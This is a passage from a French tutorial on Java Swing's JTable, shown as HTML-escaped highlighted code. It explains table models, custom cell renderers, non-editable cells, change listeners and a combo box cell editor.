&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;viewColumnIndex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;convertColumnIndexToView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;colIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;viewRowIndex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;convertRowIndexToView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;organisation des classes gravitant autour de la classe &lt;code&gt;JTable&lt;/code&gt; est assez habituelle; une interface spécifiant le contrat, une classe abstraite faisant une partie du boulot et une classe « instanciable » qui a fait des choix par défaut et qui est utilisable en l&amp;rsquo;état.&lt;/p&gt;
&lt;p&gt;Pour écrire son propre modèle, on peut donc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;implémenter l&amp;rsquo;interface &lt;code&gt;TableModel&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getRowCount&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getColumnCount&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getColumnName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;?&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getColumnClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;isCellEditable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rowIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getValueAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rowIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setValueAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rowIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;addTableModelListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TableModelListener&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;removeTableModelListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TableModelListener&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;hériter directement de &lt;code&gt;AbstractTableModel&lt;/code&gt; et écrire les méthodes abstraites&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TableModelExtends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AbstractTableModel&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// ajouter ici son/ses container/s&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getRowCount&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getColumnCount&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getValueAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rowIndex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnIndex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;hériter de &lt;code&gt;DefaultTableModel&lt;/code&gt; qui hérite de &lt;code&gt;AbstractTableModel&lt;/code&gt; qui implémente &lt;code&gt;TableModel&lt;/code&gt;… et ne récrire que ce dont on a besoin &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Un type pour chaque cellule&lt;/h3&gt;
&lt;p&gt;Par défaut chaque cellule est supposée être de type &lt;code&gt;Object&lt;/code&gt;, ce qui ne m&amp;rsquo;arrange pas. Préciser le type de chaque cellule se fait facilement par l&amp;rsquo;ajout de la méthode suivante à son modèle.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getColumnClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getValueAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dès que la cellule a un type il est possible de modifier la manière dont le contenu est « rendu ». Pour ce faire il faut assigner au type un nouveau &lt;code&gt;CellRenderer&lt;/code&gt; qui sera le même pour toutes les cellules de ce type.&lt;/p&gt;
&lt;p&gt;Par défaut chaque type a son &lt;code&gt;CellRenderer&lt;/code&gt; et un booléen, par exemple, sera représenté par une &lt;em&gt;checkbox&lt;/em&gt;. Mais je peux choisir autre chose…&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setDefaultRenderer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TableCellRenderer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getTableCellRendererComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;JTable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isSelected&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hasFocus&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;setToolTipText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;My tooltip, &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;JLabel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JLabel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;Random&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Random&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setForeground&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nextInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;appel a &lt;code&gt;setToolTipText()&lt;/code&gt; permet de personnaliser le texte présenté lors du passage de la souris sur l&amp;rsquo;élément &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h3&gt;Des cellules non éditables (ou partiellement)&lt;/h3&gt;
&lt;p&gt;Le modèle par défaut permet l&amp;rsquo;édition des cellules. C&amp;rsquo;est la méthode &lt;code&gt;isCellEditable&lt;/code&gt; qui en est responsable.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;isCellEditable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;//Note that the data/cell address is constant,&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;//no matter where the cell appears onscreen.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Lorsque je change une valeur dans la vue, ce changement est répercuté dans le modèle &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;. Je peux en être informé… si je décide d&amp;rsquo;écouter la vue. Pour ce faire, implémenter &lt;code&gt;TableModelListener&lt;/code&gt;, récrire la méthode &lt;code&gt;tableChanged&lt;/code&gt; &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;tableChanged&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TableModelEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getFirstRow&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getColumn&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;TableModel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TableModel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSource&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getColumnName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getValueAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// do something with data&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Value changed, type &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; value &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;et ne pas oublier de s&amp;rsquo;inscrire comme écouteur:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getModel&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;addTableModelListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour modifier une cellule de la &lt;code&gt;JTable&lt;/code&gt;, je peux utiliser l&amp;rsquo;éditeur par défaut, en définir un (ce que nous ne ferons pas ici) ou utiliser une &lt;em&gt;combo box&lt;/em&gt;. Pour utiliser une &lt;em&gt;combo box&lt;/em&gt;, il suffit de passer une &lt;code&gt;JCombobox&lt;/code&gt; au constructeur de &lt;em&gt;DefaultCellEditor&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;TableColumn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sportColumn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getColumnModel&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getColumn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
